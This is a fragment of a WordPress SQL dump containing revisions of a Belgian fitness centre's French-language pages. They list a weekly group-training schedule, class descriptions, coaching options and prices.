(211, 1, '2013-07-03 18:21:18', '2013-07-03 18:21:18', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:21:18', '2013-07-03 18:21:18', '', 11, 'http://www.crosstrainingcenter.be/?p=211', 0, 'revision', '', 0),
(213, 1, '2013-07-03 18:23:10', '2013-07-03 18:23:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:23:10', '2013-07-03 18:23:10', '', 11, 'http://www.crosstrainingcenter.be/?p=213', 0, 'revision', '', 0),
(212, 1, '2013-07-03 18:22:23', '2013-07-03 18:22:23', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:22:23', '2013-07-03 18:22:23', '', 11, 'http://www.crosstrainingcenter.be/?p=212', 0, 'revision', '', 0),
(218, 2, '2013-09-17 20:26:02', '2013-09-17 20:26:02', '&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\n1 carte de 10 séances : 80.00€ (valable 3 mois)\n1 carte de 20 séances : 120.00€ (valable 4 mois)\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-autosave', '', '', '2013-09-17 20:26:02', '2013-09-17 20:26:02', '', 214, 'http://www.crosstrainingcenter.be/?p=218', 0, 'revision', '', 0);
